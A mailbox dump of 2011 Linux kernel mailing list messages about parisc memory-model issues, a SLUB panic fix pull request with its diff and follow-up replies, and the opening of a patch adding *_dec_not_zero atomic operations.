	 <alpine.DEB.2.00.1104201530430.13948@chino.kir.corp.google.com>
	 <20110421221712.9184.A69D9226@jp.fujitsu.com>
	 <1303403847.4025.11.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104211328000.5741@router.home>
	 <1303411537.9048.3583.camel@nimitz>
	 <1303507985.2590.47.camel@mulgrave.site>
	 <1303583657.4116.11.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303922229 1323 80.91.229.12 (27 Apr 2011 16:37:09 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2011 16:37:09 +0000 (UTC)
Cc: Christoph Lameter <cl@linux.com>,
	KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	David Rientjes <rientjes@google.com>,
	Pekka Enberg <penberg@kernel.org>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	x86 maintainers <x86@kernel.org>, Tejun Heo <tj@kernel.org>,
	Mel Gorman <mel@csn.ul.ie>, Andy Whitcroft <apw@shadowen.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 27 18:37:02 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QF7jU-0001Q6-NF
	for glpp-linux-parisc@lo.gmane.org; Wed, 27 Apr 2011 18:36:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752755Ab1D0Qgz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Apr 2011 12:36:55 -0400
Original-Received: from e8.ny.us.ibm.com ([32.97.182.138]:37484 "EHLO e8.ny.us.ibm.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753280Ab1D0Qgz (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Apr 2011 12:36:55 -0400
Original-Received: from d01relay05.pok.ibm.com (d01relay05.pok.ibm.com [9.56.227.237])
	by e8.ny.us.ibm.com (8.14.4/8.13.1) with ESMTP id p3RGAwnP004467;
	Wed, 27 Apr 2011 12:10:58 -0400
Original-Received: from d03av03.boulder.ibm.com (d03av03.boulder.ibm.com [9.17.195.169])
	by d01relay05.pok.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id p3RGaheq053732;
	Wed, 27 Apr 2011 12:36:43 -0400
Original-Received: from d03av03.boulder.ibm.com (loopback [127.0.0.1])
	by d03av03.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id p3RGabQd013057;
	Wed, 27 Apr 2011 10:36:40 -0600
Original-Received: from [9.65.46.51] (sig-9-65-46-51.mts.ibm.com [9.65.46.51])
	by d03av03.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id p3RGaaJN012478;
	Wed, 27 Apr 2011 10:36:36 -0600
In-Reply-To: <1303583657.4116.11.camel@mulgrave.site>
X-Mailer: Evolution 2.30.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3672 gmane.linux.kernel.mm:62192 gmane.linux.kernel:1132140
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3672>

On Sat, 2011-04-23 at 13:34 -0500, James Bottomley wrote: 
> This is the preliminary conversion.  It's very nasty on parisc because
> the memory allocation isn't symmetric anymore: under DISCONTIGMEM, we
> push all memory into bootmem and then let free_all_bootmem() do the
> magic for us;

Urg, that's unfortunate.  I bet we could fairly easily teach the bootmem
allocator to allow a couple of bootmem_data's to hang off of an
individual pgdat.  Put each pmem_ranges in one of those instead of a
pgdat.  That would at least help with the bitmap size explosion and
extra loops.

> now we have to do separate initialisations for ranges
> because SPARSEMEM can't do multi-range boot memory. It's also got the
> horrible hack that I only use the first found range for bootmem.  I'm
> not sure if this is correct (it won't be if the first found range can be
> under about 50MB because we'll run out of bootmem during boot) ... we
> might have to sort the ranges and use the larges, but that will involve
> us in even more hackery around the bootmem reservations code.
> 
> The boot sequence got a few seconds slower because now all of the loops
> over our pfn ranges actually have to skip through the holes (which takes
> time for 64GB).

Which iterations were these, btw?  All of the ones I saw the patch touch
seemed to be running over just a single pmem_range.

> All in all, I've not been very impressed with SPARSEMEM over
> DISCONTIGMEM.  It seems to have a lot of rough edges (necessitating
> exception code) which DISCONTIGMEM just copes with.

We definitely need to look at extending it to cover bootmem-time a bit.
Is that even worth it these days with the no-bootmem bits around?

-- Dave


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc fixes for 2.6.39-rc5
Date: Wed, 27 Apr 2011 15:18:38 -0500
Lines: 64
Approved: news@gmane.org
Message-ID: <1303935518.2583.27.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303935531 20365 80.91.229.12 (27 Apr 2011 20:18:51 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2011 20:18:51 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 27 22:18:44 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QFBC6-0005w8-LE
	for glpp-linux-parisc@lo.gmane.org; Wed, 27 Apr 2011 22:18:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755192Ab1D0USl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Apr 2011 16:18:41 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:37143 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751954Ab1D0USl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Apr 2011 16:18:41 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id B32D68EE101;
	Wed, 27 Apr 2011 13:18:40 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id UxmEV5KTQJxE; Wed, 27 Apr 2011 13:18:40 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id C3B188EE0D0;
	Wed, 27 Apr 2011 13:18:39 -0700 (PDT)
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3673 gmane.linux.kernel:1132239
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3673>

These two fixes contain the agreed fix for our slub panic (agreed with
the mm folks that we'll define SLUB broken in the !NUMA && DISCONTIGMEM
case, which should fix m86k as well) and another buglet that turned up
examining the parisc discontigmem code.

The patches are here:

master.kernel.org:/pub/scm/linux/kernel/git/jejb/parisc-2.6.git#fixes

The short changelog is:

David Rientjes (1):
      [PARISC] set memory ranges in N_NORMAL_MEMORY when onlined

James Bottomley (1):
      [PARISC] slub: fix panic with DISCONTIGMEM

The diffstat is:

 arch/parisc/mm/init.c |    4 +++-
 init/Kconfig          |    1 +
 2 files changed, 4 insertions(+), 1 deletions(-)

And the full diff are below.

James

---

diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index b7ed8d7..b1d1262 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -266,8 +266,10 @@ static void __init setup_bootmem(void)
 	}
 	memset(pfnnid_map, 0xff, sizeof(pfnnid_map));
 
-	for (i = 0; i < npmem_ranges; i++)
+	for (i = 0; i < npmem_ranges; i++) {
+		node_set_state(i, N_NORMAL_MEMORY);
 		node_set_online(i);
+	}
 #endif
 
 	/*
diff --git a/init/Kconfig b/init/Kconfig
index 56240e7..a7ad8fb 100644
--- a/init/Kconfig
+++ b/init/Kconfig
@@ -1226,6 +1226,7 @@ config SLAB
 	  per cpu and per node queues.
 
 config SLUB
+	depends on BROKEN || NUMA || !DISCONTIGMEM
 	bool "SLUB (Unqueued Allocator)"
 	help
 	   SLUB is a slab allocator that minimizes cache line usage


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.m68k
Subject: Re: [GIT PULL] parisc fixes for 2.6.39-rc5
Date: Wed, 27 Apr 2011 22:36:40 +0200
Lines: 92
Approved: news@gmane.org
Message-ID: <BANLkTimPzRuGqjxXqe7tn-C52suTVE9+ig@mail.gmail.com>
References: <1303935518.2583.27.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1303936623 27203 80.91.229.12 (27 Apr 2011 20:37:03 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2011 20:37:03 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>,
	"Linux/m68k" <linux-m68k@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Apr 27 22:36:58 2011
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1QFBTi-0008Cj-P2
	for glk-linux-kernel-3@lo.gmane.org; Wed, 27 Apr 2011 22:36:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759967Ab1D0Ugq convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 27 Apr 2011 16:36:46 -0400
Original-Received: from mail-bw0-f46.google.com ([209.85.214.46]:60577 "EHLO
	mail-bw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1759889Ab1D0Ugm convert rfc822-to-8bit (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 27 Apr 2011 16:36:42 -0400
Original-Received: by bwz15 with SMTP id 15so1721397bwz.19
        for <multiple recipients>; Wed, 27 Apr 2011 13:36:40 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=eldNxcmWCU35awTV7YLE0K0hw4vCN/Q/CJS6C4XRTQ8=;
        b=c+dbm7vUzYyXHvaBs3BoGSArgaCkJuQgAx1Nvsc2vh7zR2CqZQMlf0gNHu0QiCad6K
         WvgDW3pPSGXTLG2VjIds3JEhy0G+oDz5oFVdu99xIe3RTX/MzoBKYnk8JOxykWxfR8Qk
         oOqur02fqE+mx5IJcypeVVrnuycPCJKvPw3WY=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=HGqUxa9yujiUMj9EkAs7AZ00XMOWYHiWs3i5yTsmPzyvozoKOo1Zo5C91xobaJ5yea
         2XhMccywQG+q/7xUfjxhnTxzGRaoQPdZtcnAA6eiR3JqhlyvREORQjXdA+L4eYSFyHib
         2oZ7RCxJyOY1fW0AogXOXmOsG9OGsEzSaf89A=
Original-Received: by 10.204.42.76 with SMTP id r12mr2376245bke.154.1303936600301; Wed,
 27 Apr 2011 13:36:40 -0700 (PDT)
Original-Received: by 10.204.126.154 with HTTP; Wed, 27 Apr 2011 13:36:40 -0700 (PDT)
In-Reply-To: <1303935518.2583.27.camel@mulgrave.site>
X-Google-Sender-Auth: kX7nwT9G-9NfOT4nC5bgkZQbzj4
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1132252 gmane.linux.ports.parisc:3674 gmane.linux.ports.m68k:2230
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1132252>

On Wed, Apr 27, 2011 at 22:18, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
> These two fixes contain the agreed fix for our slub panic (agreed wit=
h
> the mm folks that we'll define SLUB broken in the !NUMA && DISCONTIGM=
EM
> case, which should fix m86k as well) and another buglet that turned u=
p
> examining the parisc discontigmem code.

Do we still need to mark SLUB broken?
On m68k, the issue seems to have been fixed by setting the N_NORMAL_MEM=
ORY flag
(pull request scheduled after one more linux-next build cycle).

Or do you plan to unmark it broken once every affected arch sets the
N_NORMAL_MEMORY flag?

> The patches are here:
>
> master.kernel.org:/pub/scm/linux/kernel/git/jejb/parisc-2.6.git#fixes
>
> The short changelog is:
>
> David Rientjes (1):
> =C2=A0 =C2=A0 =C2=A0[PARISC] set memory ranges in N_NORMAL_MEMORY whe=
n onlined
>
> James Bottomley (1):
> =C2=A0 =C2=A0 =C2=A0[PARISC] slub: fix panic with DISCONTIGMEM
>
> The diffstat is:
>
> =C2=A0arch/parisc/mm/init.c | =C2=A0 =C2=A04 +++-
> =C2=A0init/Kconfig =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0| =C2=A0 =C2=A01=
 +
> =C2=A02 files changed, 4 insertions(+), 1 deletions(-)
>
> And the full diff are below.
>
> James
>
> ---
>
> diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
> index b7ed8d7..b1d1262 100644
> --- a/arch/parisc/mm/init.c
> +++ b/arch/parisc/mm/init.c
> @@ -266,8 +266,10 @@ static void __init setup_bootmem(void)
> =C2=A0 =C2=A0 =C2=A0 =C2=A0}
> =C2=A0 =C2=A0 =C2=A0 =C2=A0memset(pfnnid_map, 0xff, sizeof(pfnnid_map=
));
>
> - =C2=A0 =C2=A0 =C2=A0 for (i =3D 0; i < npmem_ranges; i++)
> + =C2=A0 =C2=A0 =C2=A0 for (i =3D 0; i < npmem_ranges; i++) {
> + =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 node_set_state(i, =
N_NORMAL_MEMORY);
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0node_set_onlin=
e(i);
> + =C2=A0 =C2=A0 =C2=A0 }
> =C2=A0#endif
>
> =C2=A0 =C2=A0 =C2=A0 =C2=A0/*
> diff --git a/init/Kconfig b/init/Kconfig
> index 56240e7..a7ad8fb 100644
> --- a/init/Kconfig
> +++ b/init/Kconfig
> @@ -1226,6 +1226,7 @@ config SLAB
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0per cpu and per node queues.
>
> =C2=A0config SLUB
> + =C2=A0 =C2=A0 =C2=A0 depends on BROKEN || NUMA || !DISCONTIGMEM
> =C2=A0 =C2=A0 =C2=A0 =C2=A0bool "SLUB (Unqueued Allocator)"
> =C2=A0 =C2=A0 =C2=A0 =C2=A0help
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 SLUB is a slab allocator that mini=
mizes cache line usage

Gr{oetje,eeting}s,

=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-=
m68k.org

In personal conversations with technical people, I call myself a hacker=
=2E But
when I'm talking to journalists I just say "programmer" or something li=
ke that.
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0 =C2=A0=C2=A0 =C2=A0=C2=A0 -- Linus Torvalds

From - Thu Nov 08 21:07:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.m68k
Subject: Re: [GIT PULL] parisc fixes for 2.6.39-rc5
Date: Wed, 27 Apr 2011 15:55:13 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <1303937713.2583.28.camel@mulgrave.site>
References: <1303935518.2583.27.camel@mulgrave.site>
	 <BANLkTimPzRuGqjxXqe7tn-C52suTVE9+ig@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303937724 1391 80.91.229.12 (27 Apr 2011 20:55:24 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2011 20:55:24 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>,
	Linux/m68k <linux-m68k@vger.kernel.org>
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 27 22:55:19 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QFBlW-0002Ot-Jn
	for glpp-linux-parisc@lo.gmane.org; Wed, 27 Apr 2011 22:55:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755722Ab1D0UzR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Apr 2011 16:55:17 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:47857 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751227Ab1D0UzQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Apr 2011 16:55:16 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 86D758EE101;
	Wed, 27 Apr 2011 13:55:15 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id WJq6x2EYnk+6; Wed, 27 Apr 2011 13:55:15 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id C15658EE0D0;
	Wed, 27 Apr 2011 13:55:14 -0700 (PDT)
In-Reply-To: <BANLkTimPzRuGqjxXqe7tn-C52suTVE9+ig@mail.gmail.com>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3675 gmane.linux.kernel:1132264 gmane.linux.ports.m68k:2231
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3675>

On Wed, 2011-04-27 at 22:36 +0200, Geert Uytterhoeven wrote:
> On Wed, Apr 27, 2011 at 22:18, James Bottomley
> <James.Bottomley@hansenpartnership.com> wrote:
> > These two fixes contain the agreed fix for our slub panic (agreed with
> > the mm folks that we'll define SLUB broken in the !NUMA && DISCONTIGMEM
> > case, which should fix m86k as well) and another buglet that turned up
> > examining the parisc discontigmem code.
> 
> Do we still need to mark SLUB broken?
> On m68k, the issue seems to have been fixed by setting the N_NORMAL_MEMORY flag
> (pull request scheduled after one more linux-next build cycle).
> 
> Or do you plan to unmark it broken once every affected arch sets the
> N_NORMAL_MEMORY flag?

Yes ... simply doing N_NORMAL_MEMORY doesn't fix parisc to not oops.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:07:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sven Eckelmann <sven@narfation.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH] atomic: add *_dec_not_zero
Date: Tue,  3 May 2011 23:30:35 +0200
Lines: 538
Approved: news@gmane.org
Message-ID: <1304458235-28473-1-git-send-email-sven@narfation.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1304458294 22368 80.91.229.12 (3 May 2011 21:31:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 3 May 2011 21:31:34 +0000 (UTC)
Cc: Sven Eckelmann <sven@narfation.org>,
	David Howells <dhowells@redhat.com>,
	Chris Metcalf <cmetcalf@tilera.com>, x86@kernel.org,
	linux-alpha@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
	uclinux-dist-devel@blackfin.uclinux.org,
	linux-cris-kernel@axis.com, linux-ia64@vger.kernel.org,
	linux-m32r@ml.linux-m32r.org, linux-m68k@lists.linux-m68k.org,
	linux-mips@linux-mips.org, linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-arch@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue May 03 23:31:26 2011
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1QHNBi-0006Rq-1f
	for glk-linux-kernel-3@lo.gmane.org; Tue, 03 May 2011 23:31:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755290Ab1ECVbJ (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 3 May 2011 17:31:09 -0400
Original-Received: from narfation.org ([79.140.41.39]:47522 "EHLO v3-1039.vlinux.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754030Ab1ECVbH (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Tue, 3 May 2011 17:31:07 -0400
Original-Received: from sven-desktop.home.narfation.org (i59F6A5DC.versanet.de [89.246.165.220])
	by v3-1039.vlinux.de (Postfix) with ESMTPSA id 65E1B940CF;
	Tue,  3 May 2011 23:31:15 +0200 (CEST)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=narfation.org; s=mail;
	t=1304458277; bh=sQDHl932+uNRI2Fh874hEtx7gcOULgLxW0VHF1muM+0=;
	h=From:To:Cc:Subject:Date:Message-Id;
	b=i78kmfj1ByW7IWbIc5ahEgz4ipVHPFLXOnbpGFnVKhS0zx+ZiytLvQslqv1eSHViw
	 mpHtdncePG4Rj+DHvtj8EdEkBsIFM387bkgvSYgCZkzl+5VRkKFzxG1W3sNO4SsdiU
	 h59UuEqv7Rx40otDqQvihycRk0kyLuGesvnmFQ7M=
X-Mailer: git-send-email 1.7.4.4
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1134908 gmane.linux.ports.alpha:1402 gmane.linux.ports.arm.kernel:115823 gmane.linux.hardware.blackfin.kernel.devel:5402 gmane.linux.ports.ia64:21626 gmane.linux.ports.mips.general:30892 gmane.linux.ports.parisc:3677 gmane.linux.ports.ppc64.devel:74023 gmane.linux.ports.sh.devel:10903 gmane.linux.ports.sparc:14844 gmane.linux.kernel.cross-arch:9695
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1134908>

Introduce an *_dec_not_zero operation.  Make this a special case of
*_add_unless because batman-adv uses atomic_dec_not_zero in different
places like re-broadcast queue or aggregation queue management. There
are other non-final patches which may also want to use this macro.

Reported-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Sven Eckelmann <sven@narfation.org>
Cc: David Howells <dhowells@redhat.com>
Cc: Chris Metcalf <cmetcalf@tilera.com>
Cc: x86@kernel.org
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-arm-kernel@lists.infradead.org
Cc: uclinux-dist-devel@blackfin.uclinux.org
Cc: linux-cris-kernel@axis.com
Cc: linux-ia64@vger.kernel.org
Cc: linux-m32r@ml.linux-m32r.org
Cc: linux-m68k@lists.linux-m68k.org
Cc: linux-mips@linux-mips.org
Cc: linux-am33-list@redhat.com
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-s390@vger.kernel.org
Cc: linux-sh@vger.kernel.org
Cc: sparclinux@vger.kernel.org
Cc: linux-arch@vger.kernel.org
---
David S. Miller recommended this change in
 https://lists.open-mesh.org/pipermail/b.a.t.m.a.n/2011-May/004560.html

 arch/alpha/include/asm/atomic.h    |    2 ++
 arch/alpha/include/asm/local.h     |    1 +
 arch/arm/include/asm/atomic.h      |    2 ++
 arch/avr32/include/asm/atomic.h    |    1 +
 arch/blackfin/include/asm/atomic.h |    1 +
 arch/cris/include/asm/atomic.h     |    1 +
 arch/frv/include/asm/atomic.h      |    1 +
 arch/h8300/include/asm/atomic.h    |    1 +
 arch/ia64/include/asm/atomic.h     |    2 ++
 arch/m32r/include/asm/atomic.h     |    1 +
 arch/m32r/include/asm/local.h      |    1 +
 arch/m68k/include/asm/atomic.h     |    1 +
 arch/mips/include/asm/atomic.h     |    2 ++
 arch/mips/include/asm/local.h      |    1 +
 arch/mn10300/include/asm/atomic.h  |    1 +
 arch/parisc/include/asm/atomic.h   |    2 ++
 arch/powerpc/include/asm/atomic.h  |    2 ++
 arch/powerpc/include/asm/local.h   |    1 +
 arch/s390/include/asm/atomic.h     |    2 ++
 arch/sh/include/asm/atomic.h       |    1 +
 arch/sparc/include/asm/atomic_32.h |    1 +
 arch/sparc/include/asm/atomic_64.h |    2 ++
 arch/tile/include/asm/atomic.h     |    9 +++++++++
 arch/tile/include/asm/atomic_32.h  |    1 +
 arch/x86/include/asm/atomic.h      |    1 +
 arch/x86/include/asm/atomic64_64.h |    1 +
 arch/xtensa/include/asm/atomic.h   |    1 +
 include/asm-generic/atomic-long.h  |    2 ++
 include/asm-generic/atomic.h       |    1 +
